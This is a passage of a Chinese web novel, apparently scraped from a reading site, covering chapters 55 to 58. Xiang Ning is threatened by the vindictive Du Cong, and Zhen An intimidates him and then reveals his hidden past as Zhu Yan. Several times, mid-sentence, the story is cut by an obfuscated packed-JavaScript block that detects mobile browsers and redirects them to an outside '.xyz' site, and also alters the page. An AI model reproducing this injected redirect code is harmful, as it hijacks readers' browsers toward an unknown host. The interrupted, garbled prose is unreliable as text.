“也不算占便宜,物尽其用嘛。”杨晨叶把游戏机交到她手里,“公司还送了几个卡带,那个双人游戏……你可以找我当队友,反正咱们作息时间都对得上。” 两人欣然做了交换,向宁在一旁观察良久,朝杨晨叶投去意味深长的一瞥。后者对上她的眼神,下意识低头赧然一笑,像是被看穿了什么不可言说的小心思。 关起门来,向宁对麦秋直言不讳:“小杨是不是在追你啊?” “啊?”麦秋一个走神,险些被地毯绊住脚,“没、没有吧?” “少来了你!”向宁翘起二郎腿坐在沙发上,摆出三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007113|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂会审的架势,“谁也逃不过我的火眼金睛。” 麦秋抿唇一笑:“那……可能是吧。” 向宁顿时来了八卦的兴趣,小声问道:“诶,你喜欢他吗?” 麦秋将头埋得更低了,思来想去才答:“向宁姐,你不是告诫过我,不要谈办公室恋爱吗?” 向宁了然:“那就是有点喜欢了?” 麦秋不好意思地一笑:“你会反对吗?” “我有什么立场反对?”向宁失笑,“我又不是你家长。” “可你是我领导啊!”麦秋一脸认真,“而且,还是亦师亦姐的那种领导。” “好吧,那本师姐就来帮你分析分析。”向宁一本正经道,“其实从严格意义上讲,你们不能算是办公室情侣。” “怎么说?” “因为小杨没有办公室呀。” “这算什么理由嘛!”麦秋显然不买账。 那也没有办法,向宁总不能实话实说,把杨晨叶在为祝璋工作的料爆出来吧? “好啦,开个玩笑。”向宁给她吃下定心丸,“既然你喜欢他,我就不会反对。” 麦秋点点头,继而迟疑着蹭到她身边坐下,悄声问道:“向宁姐,你会喜欢什么样的男孩子呀?” 向宁思忖片刻,总结为三点标准:“年轻帅气,温柔贤惠,胸大有脑。” 她话音才落,麦秋就噗地笑出了声。 “笑什么?”向宁轻戳她的脑门。 “没什么,就是突然想起来那个陶记者了。”麦秋揉着额头,脸上笑意不减,“年轻帅气、胸大有脑倒是没错,但温柔贤惠……我总觉得这个词跟他不太沾边。” “嗯。”向宁点头表示赞同,思绪随之飘远,“论温柔贤惠,那还得是……” “蒋律师?”麦秋抢答。 “呸呸呸!”向宁立刻提出反对意见,“他哪里贤惠了?” 麦秋摆出论据:“今早他还送我们来酒店呢。” 向宁仍不赞同:“这就贤惠了?那全天下的出租车司机都贤惠了。” 麦秋还想再问,向宁突然响起的手机铃声却打断了她们的对话。 “找呀找呀找朋友,找到一个好朋友,敬个礼呀握握手,你是我的好朋友……” 一听到这段铃声,麦秋就瞪大了双眼:“儿歌,和我一个待遇。向宁姐,你不会背着我在外面有别的助理吧?” “好严重的指控,你快找人逮捕我吧。”向宁起身拍拍麦秋的脑袋,跑去卫生间接起了电话。 她刚把手机放到耳边,还未来得及说话,对面就传来枕安急切的声音。 “你现在在哪?” “酒店,年会还没结束。”她听得出他有多焦急,不禁疑惑,“怎么了?” 枕安没有回答,追问道:“具体在什么位置?酒店房间还是宴会厅?有人跟你在一起吗?” 向宁一头雾水:“我在房间呢,助理和我在一起。” 枕安顾不上解释,严肃叮嘱道:“你先把房间门锁好,千万不要给陌生人开门,我马上去接你。在此之前,你尽量不要独处,务必保证身边时刻有人陪着你。” “可是——” “我没有开玩笑。” 枕安的声音微微颤抖,仿佛被勾起了在心底深埋多年的阴影。 “向宁,你现在很可能有危险。” 55. 她的赌注 “有危险?”向宁完全摸不着头脑,听他的语气又不像有假,索性反锁了房门,挂上防盗链后追问,“到底出什么事了?” 枕安语气凝重道:“杜琮被放出来了。” “放出来?”向宁不解,“他什么时候被关进去过?”当初那件事,不是早就被祝高远摆平了吗? 枕安解释说:“上次他闯祸惹了众怒,祝高远为了让他长长记性,罚他去禅院静修了两个月,今天中午刚还他自由。” 向宁仍是费解:“都这样了,他还敢来找我的麻烦?” “他就是这样的性格,睚眦必报,做事从来不计后果。”枕安听来十分忧虑,“更何况,祝高远之所以罚他,并不是气他逞性妄为,只是不满他没能占到上风罢了。” 换言之,如果杜琮这次出手,能成功报复到向宁,那么不论他采取的手段是否踩到了法律的红线,祝高远都会欣然帮他摆平后续的麻烦。 “祝璋姐让我提醒你,务必多加小心。”电话那头传来关车门的声音,想来枕安已经出发了,“杜琮身边有她的人,刚刚传来消息说,他和几个保镖已经蹲守在Silvercrest附近了,随时有可能行动。” Silvercrest正是今晚年会所在的酒店,向宁回身看了一眼正在拆奖品的麦秋,旋即回到卫生间关上门,同时打开水龙头和花洒。 “晓夜那边会不会有危险?”她问。 既然杜琮要报复,就不可能只盯着她一个人下手,简晓夜肯定也是他的目标。 “放心。”枕安解释道,“她在祝璋姐的剧组里,杜琮不敢动她。” 向宁这才松一口气,又问:“他想怎么报复?叫人暴打我一顿,还是索性要了我的小命?” 电话那头沉默良久,枕安似乎很抗拒深想这个问题,只回答说:“我开祝璋姐的车去接你。他认得这辆车,绝不敢轻举妄动。” 向宁在卫生间里来回踱步,一手揉着头发叹气道:“要不然还是报警吧。” “可是咱们没有证据啊。”枕安也轻叹一声,“如果杜琮咬死不承认自己预谋不轨,警方也不好插手。” 向宁时常跟派出所打交道,自然知道他说得没错。现实如此,报警也未必有用。 然而现实的另一个问题就摆在眼前:“就算你今晚能帮我逃过一劫,杜琮也不会轻易收手的。我不可能时时刻刻生活在祝璋的保护网下,迟早要面对——” “不会的。”枕安语气坚定,打断她接下来的消极设想,“交给我就好,我有一劳永逸的办法。” “什么办法?” 枕安没有回应,过长的沉默使向宁产生了一种大胆的错觉。 “你不会要以牙还牙,直接开车撞死他吧?”她倏地忧心起来,“你别冲动啊!就算祝璋再怎么有本事,也不可能摆平杀——” “当然不会。”枕安被她逗笑,缓解了些许紧张的气氛,“我看上去像那么缺心眼的人吗?只是打算跟他谈谈而已。” 向宁这才踏实下来,说了句谢天谢地。转念一想,又觉得跟杜琮谈判也未必有用,正欲开口再问,枕安却先她一步出声。 “车程还有四十分钟,我赶到Silvercrest之前,你一定要确保自己的安全,好吗?” 向宁看了眼时间,十二点刚过几分,年会应该已经结束了。 “我尽量吧。”她不太确定地说。 “不是尽量,是一定!” 枕安忽而抬高了音量,紧接着又叹了声气,向宁以前从来没见过他这样频繁地叹气。 “这种事情不可以开玩笑的。”他的语气无比认真,“一定。” 就在这时,不远处的房间门突然被人大力敲响,每一声都砸得极重,连枕安都能听到。 “别挂电话!”他立时紧张起来,“你房间有可视门铃吗?” 麦秋的脚步声快速靠近门口,向宁关了水走出卫生间,拦住她摇摇头,示意先别开门,继而凑近猫眼仔细观察。 “没事,是我同事,好像喝多了。”向宁又补充一句让他安心,“同组的几个小姑娘,拿荧光棒敲门呢。” 向宁打开房门,几个同事立刻对准她头顶拉开礼花,金纸炸开的声音宛若枪响,惊得枕安一阵心悸,反复确认了向宁没事才作罢。 “向宁姐!小秋!”同事们醉意有深有浅,围着她七嘴八舌说笑起来,“别躲酒了,跟我们下楼唱K去吧,之前说好一起的嘛!” 枕安正准备劝两句,向宁却截住他的话头:“没事,包房里人多,更安全。” “好。”枕安见状也不再反对,只是默默提高了车速,“一会把房间号发我。” “嗯,先挂了,你安心开车吧。”向宁嘱咐道,“别着急,别超速。” 语毕挂掉电话,跟同事们一起来到楼下KTV的包房。玩玩闹闹,时间过得飞快。刚开到第三打啤酒,枕安就敲响了房门。 这时小李刚唱完一首歌,醉醺醺握着话筒,晕晕乎乎透过玻璃门去看,见门外那人身材优越,穿着考究,大半夜还戴着墨镜和口罩,很快就下了判断。 “哥们,走错了吧?”她对着话筒说道,“练习生的包房都在3区,这间是公关部A组。” “没走错,是我朋友。”向宁拎包起身,取下门边衣架上的外套,“我先走了,你们继续玩吧。” “诶——不许走!”麦秋放下扑克牌,踉跄两步追上去抱住她的胳膊,“向宁姐,这轮你输了,还没接受惩罚呢,凭什么先走啊?” “就是就是!”小李也在旁边帮腔,撕下一张纸条贴在向宁脸上,“一年三百六十五天,就这一个晚上有机会欺负领导。向宁姐,你不会那么狠心,连我们最后这点乐趣也剥夺掉吧?” 她话已至此,向宁只能顶着脸上的纸条看向枕安,无奈耸肩道:“完蛋,被架上去了,走不掉。” 小李发挥了E人的高度热情,冲枕安招招手喊道:“向宁姐的朋友就是我们的朋友,来来来,进来一起玩!” 向宁本以为枕安会拒绝,没想到他只短暂地犹豫了一瞬,很快就应邀走进包房,摘下墨镜坐在了她的身边。 下一曲前奏旋即响起,趁着麦秋重新洗牌发牌的空闲,向宁压低声音问他:“这可是一屋子的陌生人啊,你确定你扛得住?” “我最近进步很大的好不好?”枕安把一个小方包塞给她,方包外层裹着他的围巾,“更何况,这不是还有熟人在吗?” 向宁掂了掂方包的重量,狐疑道:“这是什么?谈判筹码?” “跟杜琮谈判不用筹码。”枕安取下围巾,打开方包取出一个饭盒,“给你带的,趁热吃吧。” 麦秋的座位离他们最近,虽然听不清他们在说什么,却最先闻到了红烧排骨的香味。 她倏地一抬头,发牌的动作便慢了下来,目光在饭盒上停顿片刻,不禁在心里嘿嘿笑道:原来“温柔贤惠”的另有其人啊! 向宁微微一怔:“什么意思,吃饱了好上路?” “别说这种不吉利的话!” 枕安皱起眉头,让她连呸三声,这才继续说下去。 “你昨天不是说,你们公司年会的菜单从来没变过,几年如一日的难吃,害得你每次都要饿着肚子回家煮泡面吗?”他把一次性筷子递给她,“今天不用吃泡面了。” 向宁接过筷子,心不在焉地吃了两口,继而抬眸看向他,本想说点什么,却顾及身边还有同事,只能暂时把疑虑咽入肚里。 早先接到枕安报信的电话时,向宁本以为他只是在听从祝璋的安排做事。毕竟祝璋曾把他们的合约内容透露给她,一旦她落到杜琮手里,为求自保,就很有可能以这个秘密为筹码,给祝璋带来不小的麻烦。 可是面对眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向宁长出一口气,捻着脸上的白色“胡须”笑问:“姑奶奶们,老朽现在可以回家了吧?” “老人家拜拜。”小李终于开门放人,“明年今日,咱们再大战八百回合。” 向宁应了一声,胡乱摘下脸上的纸条,跟众人说了一圈再见,继而拉着枕安出门去了。 小李确认他们已经走远,马上又开了一瓶啤酒,把姐妹们聚到桌边,兴致勃勃道:“老节目,开赌开赌!” 麦秋闻言一惊:“玩这么大吗?不合法的吧……” 小李笑着呸了一声:“我们又不是赌牌赌骰子,有啥不合法的?” 麦秋不解:“那是赌什么?” 小李解释道:“就赌——这次这哥们,能不能上位成功?” 麦秋似懂非懂:“怎么才算上位成功?” “只要向宁姐愿意官宣恋情,就算他上位成功。”有人帮小李解释起来。 “诶,这次这个应该起什么代号啊?”有人拉着小李开始商量封号。 “等等等等!”麦秋有些拿不准了,连忙打断她们,“向宁姐跟他应该还不是情侣吧?” 小李十分笃定:“你自己都说‘还不是’了,既然有‘还’,就说明将来很有可能会是嘛。” “我也觉得。”一旁有人帮腔,“这么晚了还开车来接,还送爱心夜宵,比当初的法务哥贴心多了!” 小李灵光一闪:“那就封他为夜宵哥吧?” 众人深以为然,按照老规矩,纷纷下了一百块钱的赌注。选上位成功和失败的刚好五五开。 “就差你了,小秋。”同事们各分阵营,都等她这位领导心腹一锤定音,“你怎么选?” 56. 一条疯狗 “下雪了。” 向宁伸手去接雪花,今晚气温降得厉害。 “这个天气最适合拍悬疑片了。”她漫不经心地说,“一夜过去,凶手的脚印就被掩埋在积雪之下。白茫茫一片里,只有死者的血迹红得触目惊心。” 枕安无奈地看她一眼,稍显郁闷道:“又说这种不吉利的话。” 向宁无声一笑,抬头迎上雪花飘来的方向:“说说而已,现实中哪有那么多完美犯罪?Silvercrest里里外外的监控探头比杜琮的心眼还多,就算他想对我动手,也不可能掩盖一切证据。” 枕安不再出声,向宁也没有继续说下去的意思,两人顺着地灯延伸的方向慢慢朝前走。玻璃地板下浅黄色的灯光被积雪遮住,唯有他们的脚印被踩亮,仿佛有人在记录两颗星星的运动轨迹,见证它们并肩同行,以自己都不易察觉的缓慢速度逐渐靠近彼此。 VIP停车场的空位所剩不多,枕安把车停在了入口附近最显眼的位置,车牌号以BHY开头,也就是白鹤涯的意思。 “都这个时候了,怎么还不见杜琮的影子?”向宁系好安全带,透过车窗左右张望着。 说什么来什么,对面不远处,一辆黑色布加迪已经在夜幕中等候多时,此刻骤然打开远光灯,霎时刺得人睁不开眼。 枕安不紧不慢打开副驾的遮光板,帮向宁挡住刺眼的强光,见效果不佳,又取出墨镜示意她戴好。 那远光仿佛一记信号,近旁的几辆车收到指令,几乎同时打开车门,几队人高马大的保镖气势汹汹跑上前来,很快就包围了向宁和枕安。 “向宁小姐。”一名保镖敲了敲副驾的车窗,率先开口,“我们老板想见见你,麻烦跟我们走一趟吧。” 向宁没有应声,放眼朝对面看去,杜琮并未下车,只将夹着烟的手伸出主驾窗外,无比悠闲地轻点烟灰。 “他连祝璋的面子都不给了?”向宁压低声音道。 “这已经是很给面子的做法了。”枕安解释道,“如果车主不是祝璋姐,杜琮会直接让保镖砸车。” 语毕,枕安把车钥匙交给她,叮嘱道:“我下车以后,你马上锁好车门,不要下车,也不用搭理他们,等我回来。” 向宁顺势抓住他的手腕,或许是因为紧张,她根本感受不到他的温度,只觉得自己十指冰凉,几乎与窗外的漫天落雪无异。 “不能去。”她加重了手上的力气,杜琮显然比她预想的更疯更没底线,“万一出事了怎么办?” “不会出事的。”枕安十分笃定,见她没有放手的意思,便补充道,“我保证。” 向宁对他这样轻描淡写的态度大为不解,皱眉严厉道:“对面就是条疯狗,你怎么可能保证自己不被他乱咬!” 枕安自知无法说服她,无奈之余又有些欣慰,只得暂退一步:“好,那我证明给你看。” 对面的远光灯闪了几下,保镖知道老板已经等得不耐烦了,连忙又开始敲窗,声音搅得人愈发烦躁。 枕安只当未闻,拿起手机在聊天记录里翻找片刻,继而打出去一个电话。 电话很快接通,枕安一开口就解答了向宁的疑问——对面是谁? “杜聪,把你的保镖收回去。” 杜聪是杜琮以前的名字,祝高远认干儿子的时候,嫌他的原名不合意,就给他换了个字。 不知对面作何反应,枕安听完忽而冷笑一声。 “我是谁?”他的声音全无平日的温柔,变得锋芒毕露,“几年不见,你就把恩人忘干净了?” 恩人?向宁满腹狐疑朝他看去。枕安比杜琮还年轻几岁,能对他有什么恩德? “我还以为你是只知恩,不图报呢。”枕安沉默片刻,继而讥讽一笑,“原来,你是条从不知恩的白眼狼啊。” 此话一出,对面立刻破口大骂,向宁虽然听不真切,却能感受到杜琮已经气急败坏。 “杜聪,你还真是蠢人多忘事啊。”枕安语带鄙夷,继续火上浇油,“别忘了,你是怎么进的祝家大门。” 这次他话音一落,对面霎时鸦雀无声。 这场雪越下越大,雨刮器摇摆之间,杜琮突然开门下车,却久久没有关门,也没有朝他们走来,只是举着手机定定地站在原地,透过车窗凝望枕安的身影,任凭夜风将雪花吹进车内。 “看得清吗?”枕安嘲弄似的一笑,继而向前倾身,半趴在方向盘上,“要不要我把口罩摘掉,让你的保镖们也看看?” 说着便作势要摘口罩,对面大约是拦了一句,向宁看见杜琮急匆匆往前走去,险些绊了一跤。 “你怎么慌成这样?怕他们真瞧见我?”枕安重新靠上椅背,不难推测出一个结论,“看来,这些保镖里有祝高远的人啊。” 杜琮的胸膛剧烈起伏着,三步并作两步冲回车边,手忙脚乱地关掉远光灯。保镖们见状都很意外,互相交换几个迷茫的眼神后,也只能揣着疑问执行命令,不再围车,转而快步回到了杜琮身边。 杜琮迈着沉重的步伐,独自走到二人车前。枕安以牙还牙,冷不防打开远光灯,晃得杜琮应对不及,万分狼狈。 向宁眯眼观瞧,一看口型就知道杜琮骂了句脏话。 枕安似乎毫不在意,挂掉电话对她微微一笑,语气又恢复了往日的温柔:“证明完毕,现在可以放我下车了吧?” 向宁盯着他的双眼,强压满腹疑云,从包里取出一罐防狼喷雾,不由分说塞给他。 枕安知道她仍未完全放心,便也没有推拒,带着防狼喷雾下了车,双手插着风衣口袋,斜靠在车前盖旁。 枕安摘下口罩,杜琮立马双目圆瞪,满眼写着不可置信,脚步下意识地往后退去。 向宁只能看到枕安的背影,不知道他说了什么,索性去读杜琮的唇语。 “真的是你……你为什么还活着?”分析到这里,向宁忽而一愣,“哈?” 后半句什么意思,难道是她读错了? 也许有什么词组的口型跟“还活着”一样,可以填进这句话里? ——你为什么害我呢?好像不太符合现在的情景。 ——你为什么爱我呢?噫……只是想想都一阵恶寒。 ——你为什么在我这?不对不对,就算要说,也应该是“你为什么在她那”才符合逻辑吧? 向宁走神片刻,不知他们二人聊了什么内容,突然间听到杜琮高声对枕安叫喊道:“你不要欺人太甚了!” 她没忍住翻了个白眼。好家伙,这人到底是有多厚颜无耻,才能这样理直气壮地倒打一耙啊? 枕安没有理他,当即转身回到车上,拿出手机设了个一分钟的倒计时,将屏幕凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020362|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近挡风玻璃,展示给杜琮看。 杜琮双拳紧握,怒视着越变越小的倒计时数字,直到计时结束,手机发出刺耳的提示音,他仍然没有动作。 枕安收回手机,作势又要拨出电话,杜琮这才有所反应,追上来敲打车窗,叫嚷道:“我道歉!我道歉行了吧!” 枕安降下一半车窗,没有扭头看他,目视前方懒懒道:“那就开始吧。” 杜琮躬着身子深吸一口气,目光越过他落在向宁脸上,强撑着挤出一个比哭还难看的笑容,咬牙切齿道:“向小姐,今晚是我的人不懂事,冒犯到您了。我保证,从今以后绝对不会再发生这样不愉快的事。抱……抱歉。” 好容易拉下脸道完歉,杜琮马上移目看向枕安。 “还差一半。”枕安的手指在方向盘上悠然轻敲,“不要偷工减料。” 杜琮先是一愣,旋即反应过来,又赔笑道:“向小姐放心,晓夜她……呃、简老师那边,我的人也绝对不会去打扰。” 见他这般放低姿态,向宁难免有些暗爽,面上却看不出心情好坏,语气冷淡道:“杜总这话倒有些分量,想必不会出尔反尔吧?” “绝对不会,您就把心放在肚子里吧!”杜琮这话虽然是在对她说,他的目光却紧追着枕安不放。 枕安感知到这道焦灼的目光,微微偏头与他对视说:“还算合格。” 杜琮缓缓松了口气,试探着问道:“那你……” “看你表现。”枕安截断他的问题,“从今以后,但凡向宁和简晓夜的人身安全出现任何问题,我都会立刻联系祝高远。” “凭什么!”杜琮有些着急,“万一她们得罪了别人,出点什么岔子,凭什么把这笔账算在老子头上!” “杜聪,你没资格跟我谈条件。”枕安升起车窗前,只给他扔下最后一句话,“我只认疑罪从有的原则,祝高远也一样。” 语毕,枕安立刻发动车子,开出时差点让杜琮摔个趔趄。 Silvercrest酒店远离市区,现在又是半夜,附近的路上极少有车经过。 向宁盯着后视镜看了许久,确认杜琮没有跟上,这才放心对枕安说:“找个地方停一下吧,咱们聊聊。” 枕安握着方向盘的双手倏然紧了紧,轻声说:“好。” 他没有多问,大约是对她想聊什么心知肚明吧。 几分钟后,车子停在一处路边,向宁望着窗外提议道:“下车透透气吧。” 雪势丝毫不见减小,二人并肩靠在车前盖上,枕安撑着一把宽大的伞,向宁从包里取出一罐啤酒,自顾自打开小酌。 “你的包真像哆啦A梦的口袋,什么都有。”枕安随便找了个话题。 “从KTV顺的。”向宁把包递给他,“还有一罐无酒精饮料,你要吗?” “不用了。”枕安帮她拎着包,目光自然垂向地面,“你想问什么就问吧。” “你会说实话吗?”向宁用指尖捏着冰凉的易拉罐,左手冷得受不了就换到右手。 “我们可以再玩一次昨天晚上的游戏。”枕安从风衣口袋里取出一包纸巾。 “我可以说实话。”他从向宁手中拿过易拉罐,在外层裹上几圈纸巾,隔开了罐身的凉气。 “前提是……”他把易拉罐递给她,“你要用同等的秘密来换。” 57. 枕安的身份 “我知道很多秘密。”向宁有意无意地曲解了他的语义,“你对哪个艺人的黑料有兴趣,都可以问我。” 语毕,向宁伸手去接他递来的啤酒,枕安却躲开了她的动作,与她对视道:“你明明知道我的意思。” 向宁的手在半途停顿片刻,松松捏成拳头垂了下来,语气平静无波:“我没有秘密。” “真的没有?”枕安向她靠近半步,“还是你觉得,我现在还没资格问?” 向宁别开目光,沉默了几秒才回答:“真正的秘密,是不能随便拿来交换的。” 果然。 枕安叹了口气,再次把易拉罐递向她:“喝完就回家吧。” 这次轮到向宁不接了。她把双手插进外套口袋,不说话,也不看他。 “生气了?”枕安低声问。 “没有。”向宁毫不犹豫地否认,语气却是冷冰冰的,“你帮了我这么大的忙,我谢你都来不及呢,有什么可生气的。” “我只是越来越看不明白了。”她接着说,“你身上的很多地方,我都看不明白。好像相处越久,反而越不了解似的。” 枕安思索片刻,把易拉罐放在车前盖上,提议道:“那就换个游戏玩吧。” “什么?”向宁不解其意。 “海龟汤。”枕安解释说,“你来向我提问,我来回答是或否。如果你能通过这些答案,一步步拼凑出我的秘密,我就不用再隐瞒了。” 向宁闻言,这才重新朝他看去:“好,就玩这个。” 她几乎没怎么迟疑,就问出了第一个问题:“你真的是杜琮的恩人吗?” 没想到,枕安的第一个答案就倍显纠结,斟酌了好半天才回答:“客观上是,主观上否。” 忆及枕安曾对杜琮说过,“别忘了你是怎么进的祝家大门。”向宁接着便问起:“你对他的‘恩’,指的是你帮他获得了成为祝高远干儿子的机会吗?” 枕安给出了同样的答案:“客观上是,主观上否。” 向宁反应片刻,渐渐摸到了门道:“也就是说,你当年没想帮他,只是你的某个或某些行为,在阴差阳错间帮到了他?” 枕安长叹一声:“是。” 向宁这时偏离解谜主线,问了句题外话:“那你后悔吗?” 枕安不甚在意地耸耸肩:“否。” 回归正题,向宁仍在为那句扑朔迷离的唇语困惑:“刚才你们对峙时,杜琮是不是对你说了一句——你为什么还活着?” 枕安的表情僵了僵,似乎并未料到,向宁连他们在车外的对话都有所了解。 见他如此反应,即便不答这题,向宁也知道答案了。 “他以为你死了?”她随即追问。 枕安目光低垂,喉结上下微动,好几次张了张嘴,良久才答:“是。” “为什么?” 枕安抬眸与她对视,提醒道:“游戏规则是,我只能回答是或否。” 向宁思路稍滞,拿起啤酒喝了两口,手指无意识地摩挲着纸巾一角。 “除了杜琮,还有别人以为你死了吗?” 枕安点头:“是。” “很多人吗?” “是。” 大约是自己年少时的特殊经历使然,向宁很快从纷乱的线索里找到了关窍—— “他们之所以会产生这种误解,是你有意为之,对吗?” 枕安又一次陷入沉默,再开口时声音微微发哑:“起初否,后来是。” “在此之前,你有另一个身份。”向宁直视着他的双眼,不太确定地试探道,“一个完全不同于现在的身份。” 枕安稍显僵硬地勾了勾唇角:“这是问句,还是陈述句?” 向宁见状,顿时心下了然:“刚才是问句。不过现在,你已经没必要回答了。” 这段往事的内情过于错综复杂,向宁一时难以猜出他的另一个身份,只能先从其他线索入手,继续收集信息。 “杜琮似乎很怕你去联系祝高远。” 这是显而易见的事实,个中原因也不算难猜。 “一旦你主动联系祝高远,杜琮就有可能失去这个靠山,对吗?” 枕安语气决然:“不是有可能,是一定。” 向宁依据常理推断:“你有杜琮的把柄?” 枕安却摇了摇头。 向宁起初只觉得奇怪,除了这个原因,难道还有别的解释?然而深思片刻,她突然就眼神一震,不知想起了什么模糊的记忆。 “难道说——正是因为他们误以为你已经不在人世了,杜琮才有机会进入祝家。换言之,一旦祝高远知道你还活着,杜琮就会被他弃如敝屣?” 枕安双唇紧抿,低下头苦涩一笑:“听你的语气,这个问题似乎也不需要我回答了。” 他的态度,无异于默认了她的猜测。 震惊之余,向宁立刻拿出手机进行二次确认,找出上次让麦秋调查杜琮时,她发来的那份调查报告。 翻到家庭背景这章,上面清清楚楚写着他能抱上祝家大腿的来龙去脉—— 「近二十年内,祝高远陆续病逝三子,唯有祝璋一个女儿平安长大。(麦秋注:天选之女啊,就是挑男朋友的眼光不太好。)」 「祝高远重男轻女,不甘后继无子,奈何年事过高,已无生育能力(麦秋注:最后半句just本人推测,但如果不是这样,他那么有钱,直接做试管不就行了?)」 「Anyway,总之杜琮就这么被他收为干儿子了!从平凡草根一跃成为天龙人。(麦秋注:听说是因为他的八字跟祝家比较合,能旺事业。啧啧,果然每个豪门都这么封建迷信么?清朝人真难杀!)」 这页调查报告里夹着许多笔者吐槽,末尾还附上了几段八卦杂谈。 「据圈内知情者称,祝高远的小儿子祝琰并非自然病逝,而是跳海自杀身亡,原因不详。(麦秋注:豪门的瓜可不敢多吃,动不动就闹出人命来,唉……)」 「还有阴谋论者推测,祝家三子之死都有蹊跷,幕后黑手就是唯一获利者——祝璋。(麦秋注:好典,又是一点证据都没有,就开始给女人泼脏水了。怎么不说幕后黑手是杜琮呢?明明他也获利了啊!)」 读到这里,向宁就不再继续往下看了,转而去网上搜索那个迷雾重重的名字——祝琰。 可是几分钟翻找下来,除了关于他“英年早逝”的新闻报道以外,就再也没有任何重要信息,连一张照片也搜不到。 枕安默默注视着向宁的动作,大约已经猜到了她在找什么,便主动解释道:“从前网上那些照片,我已经拜托祝璋姐帮忙删掉了。” 向宁尚未完全平复混乱的心情,循声望向他,茫然问道:“如果你就是祝琰,为什么不直接叫她‘姐’,而是叫‘祝璋姐’?” “因为我现在已经不是祝琰了。” 谜底被她揭开,枕安反而少了些心理包袱,可以坦然地说出真心话。 “我不想再和祝高远有任何瓜葛,所以也没必要继续跟她姐弟相称。现在,祝璋姐是我的朋友,仅此而已。” 为了尽快消化这一连串的新信息,尽管此刻已是半夜,向宁的头脑依然保持着高度清醒,一切困意都在不知不觉间尽数消散。 “有传言说……祝琰是跳海自杀的。”向宁的声音变得迟疑许多,温柔许多,也许是不知该如何组织语言,才能不让自己的好奇心踩痛他的伤处,“这……是你布的障眼法吗?还是说——” “是真的。”枕安不等她问完就给出了答案,“不过没死成,昏迷以后被一户渔民救了。祝高远雇的搜救队没捞到尸体,直接按死亡上报的。” 向宁走近他半步,犹疑着张了张嘴,又把话咽了回去,改口为:“时间这么晚了,还让你聊这种沉重的话题,好像有点难为人了。要不咱们先回家?好好睡一觉,养足了精神,明天再聊?” 枕安见状轻轻一笑,云淡风轻道:“你不用这么小心翼翼,想说就说,想问就问。都是早八百年的旧事了,我没什么可难过的。” 向宁一时有些纠结,仔细想了想,还是决定问出来试试:“那我就问了,你不想回答也没关系。祝琰他……为什么要跳海啊?” 她有意识地把“枕安”和“祝琰”区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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向宁没有坚持追问,她知道,他能说出这些已经很不容易了。 “再问最后一个问题,咱们就回家吧。”枕安突然对她说,“如果你还有问题想问的话。” 真巧,她确实还有最后一句话想问。 “枕安这个名字应该是你自己起的吧,有什么说法吗?” “我也不知道算不算有说法。”枕安略显拘谨地笑了笑,“在很长一段时间里,我都没有睡过一个好觉。能够安枕而卧,就是我当时最迫切的愿望。” “那为什么不直接叫安枕?”问题已经出口,向宁才意识到,“喔,好像提问次数已经用完了。” “那就买一送一吧。”枕安最擅长向她妥协,“因为梦是反的。” “梦是反的……”向宁喃喃自语,不知在思索什么。 枕安慢悠悠转动伞柄,抖落伞面外圈的一层雪花,提醒道:“好啦,回家。” “等等。”向宁抓住他撑伞的那只手,“你刚才多送了我一个问题,礼尚往来,我现在就还你一个问题。” 枕安闻言,睫毛忽而一颤:“什么?” 向宁松开手,没有多余的解释,直接说了下去。 “其实向宁这个名字,也是我自己改的。” “小时候我家养鸡,邻居家养狗,两家大人总是吵架,回回都闹得鸡犬不宁。” “那时候我每天都在想,什么时候才能过上安宁日子啊?” “后来……发生了一些事,我争取到了给自己改名的机会,毫不犹豫就选择了‘宁’这个字。” “姓氏虽然不是我能选的,但我也非常喜欢。向,向宁,听起来就有盼头,让人高兴。” “从这点来看,咱们的经历其实有点相似。蛮有缘分的,不是吗?” 枕安看着她微带笑意的双眼,这是她第一次真正对他敞开心扉。 “是。”他的眼眶忽地湿润起来,幸而车灯易躲,稍稍偏过身子就不会被她看出来了。 他们的确有缘。 可是此时此刻,只有枕安一个人知道——向宁和他的旧日缘分其实远远不止于此。 58. 天机不可泄露 二人回到车里时,枕安的手机屏幕亮着,显示有三通未接来电,全都是祝璋打的电话。 枕安连忙给她回电,刚一接通,祝璋就语气不善道:“还活着吧?” “嗯。” “胳膊腿都齐全吧?”祝璋又问。 “嗯。”枕安知道,她马上就要发火了。 果不其然,祝璋刚放下了心,紧接着便厉声斥责道:“那你玩什么失联!想吓死我啊?” 枕安说了句抱歉:“手机一直静音,没注意到,不是故意不接你电话。” 